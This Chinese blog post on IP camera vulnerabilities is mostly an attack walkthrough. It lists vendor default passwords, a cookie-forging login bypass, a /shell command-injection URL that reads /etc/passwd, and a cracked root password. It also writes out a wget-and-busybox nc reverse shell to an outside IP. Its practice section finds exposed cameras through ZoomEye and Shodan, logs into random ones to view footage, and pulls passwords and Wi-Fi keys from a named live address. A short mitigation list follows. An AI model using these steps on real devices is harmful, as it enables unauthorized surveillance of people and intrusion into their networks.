时光不改's 记忆碎片

网络摄像头的安全问题

字数统计: 1.3k阅读时长: 5 min
2018/08/21 Share

网络摄像头(IP CAMERAS)在日常生活中越来越普及,交通路口抓取车牌号码,幼儿园用来监控小孩,小区车牌识别系统等等,这些摄像头会跟计算机或者录像等硬件设备连接,以便进行图像存储和及时浏览。很多摄像头还直接跟网络连接,以方便客户通过浏览器或者客户端进行连接管理和查看。商家的本意是为了方便用户进行查看,但很多网络摄像头由于厂商对安全重视不够,黑客通过技术手段可以很方便对存在漏洞的网络摄像头进行存取和浏览,在有些情况下,还可以获取网络摄像头所在服务器的权限,甚至可以渗透进入该摄像头所在网络,危害实在很大。

一、存在漏洞分析

AndrewTierney在其Blog上公布了一片有关摄像头漏洞利用的文章
归纳其核心如下:

1.存在弱口令漏洞

存在弱口令admin密码为空。收集的其它几款网络摄像机的口令如下:

(1)海康威视IP网络摄像机:超级用户:admin,超级用户密码:12345
(2)大华网络摄像机:用户名:admin,密码:888888
(3)天地伟业网络摄像机:用户名:Admin,密码:111111

2.登录密码绕过漏洞

我们可以对之前用默认密码成功登录的页面进行抓包,找到处理页面登录逻辑的js,对处理页面登录的逻辑分析发现,存在登录绕过漏洞,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$(document).ready(function(){
dvr_camcnt= Cookies.get("dvr_camcnt");
iSetAble= Cookies.get("iSetAble");
iPlayBack= Cookies.get("iPlayBack");
dvr_usr= Cookies.get("dvr_usr");
dvr_pwd= Cookies.get("dvr_pwd");
if(iSetAble== '0'){
$('#pb_settings').css('display','none');
}
if(iPlayBack== '0'){
$('#pb_review').css('display','none');
}
if(dvr_camcnt== null || dvr_usr == null || dvr_pwd == null){
location.href= "/index.html";
}

系统管理页面直接通过js检查cookie是否为空来判断用户是否登录。现在竟然还有程序员这样来写登录状态判断。

于是,通过伪造cookie便可以绕过登录检查。通过代码可以看到需要伪造三个cookie值,dvr_camcnt,dvr_usr=admin,dvr_pwd=123。直接打开http://xx.xx.xx.xx/view2.html时,抓包发现系统会自动设置该cookie参数的值,这个值需要记录下来,否则后面填错的话是看不到监控内容的。dvr_usr和dvr_pwd可以随便设置,只要不为空就好。保存后,重新刷新一下http://xx.xx.xx.xx/view2.html,便可以成功登录系统。

3.直接获取webshell及其root密码

直接访问http://www.antian365.com/shell?cat /etc/passwd即可获取服务器root帐号密码,如图2所示。获取其root帐号密码为a03e3thxwWU0g,经破解其明文为“juantech”。

4.获取反弹shell

执行以下命令:

cd /root/rec/a1 && wget http://212.111.43.161/busybox &&chmod +xbusybox&& ./busybox nc 122.115.47.39 8000 -e /bin/sh -e /bin/sh
将反弹shell至122.115.47.39的8000端口。
还可以执行命令http://www.antian365.com/shell?/usr/sbin/telnetd-l/bin/sh -p 25通过telnet 目标IP直接进入系统。

二、实战演练

1.确定网络摄像头关键字

在kaliLinux中打开bannergrab,填上设备的IP地址和web端口号

其中关键字为Server后的字符串JAWS

观察HTTP BANNER为DVRDVS-Webs,点开后发现为hikvision摄像头的WEB端

2.快速获取存在的目标服务器

使用zoomeye进行检索,输入地址

https://www.zoomeye.org/search?q=JAWS

http://www.zoomeye.org/search?q=DVRDVS-Webs

也可以使用shodan进行检索

https://www.shodan.io/search?query=JAWS%2F1.0

3.随机对目标进行访问

在检索结果中随机对结果进行访问,打开访问登录框,用户名输入admin密码为空,直接登录系统,一般可以查看监控的房间和画面。

4.直接获取访问密码

使用命令shell?cat%20/tmp/usrm.ini可以直接获取访问密码,例如http://210.21.34.206/shell?cat%20/tmp/usrm.ini可以获取默认管理员密码为空,如图6和图7所示。将默认密码进行修改后,重新访问,其密码已经写入到/tmp/usrm.ini文件中。

5.获取无线网络密码

在其网络设置中可以直接获取其无线AP的名称及其密码
http://210.21.34.206/view.html

6.反弹shell测试

对部分目标进行了反弹shell测试,均为成功,可能是无写权限,下载http://212.111.43.161/busybox文件大概需要100M。

三、防范措施及建议

目前网上已经出现利用该漏洞恶意程序,而官方未发布相应补丁。用户可采取以下措施加固安全:

1.修改默认root密码为其他强健密码。
2.对外不提供web访问。或者将地址设置为一个复杂的名称,使其默认地址不被访问。
3.对服务器可写进行严格限制。
4.修改默认admin密码。

参考文章:

1.http://www.freebuf.com/tools/5950.html
2.http://www.ijiandao.com/safe/cto/5450.html
3.http://www.myhack58.com/Article/html/3/8/2015/64210.htm
4.http://hb.ifeng.com/3c/detail_2014_04/04/2083399_0.shtml
5.http://security.zol.com.cn/443/4439365_all.html
6.http://bobao.360.cn/news/detail/1388.html
7.http://www.myhack58.com/Article/html/2/5/2015/58087.htm
8.http://drops.wooyun.org/category/papers

CATALOG
  1. 1. 一、存在漏洞分析
    1. 1.1. 1.存在弱口令漏洞
    2. 1.2. 2.登录密码绕过漏洞
  2. 2. 二、实战演练
  3. 3. 三、防范措施及建议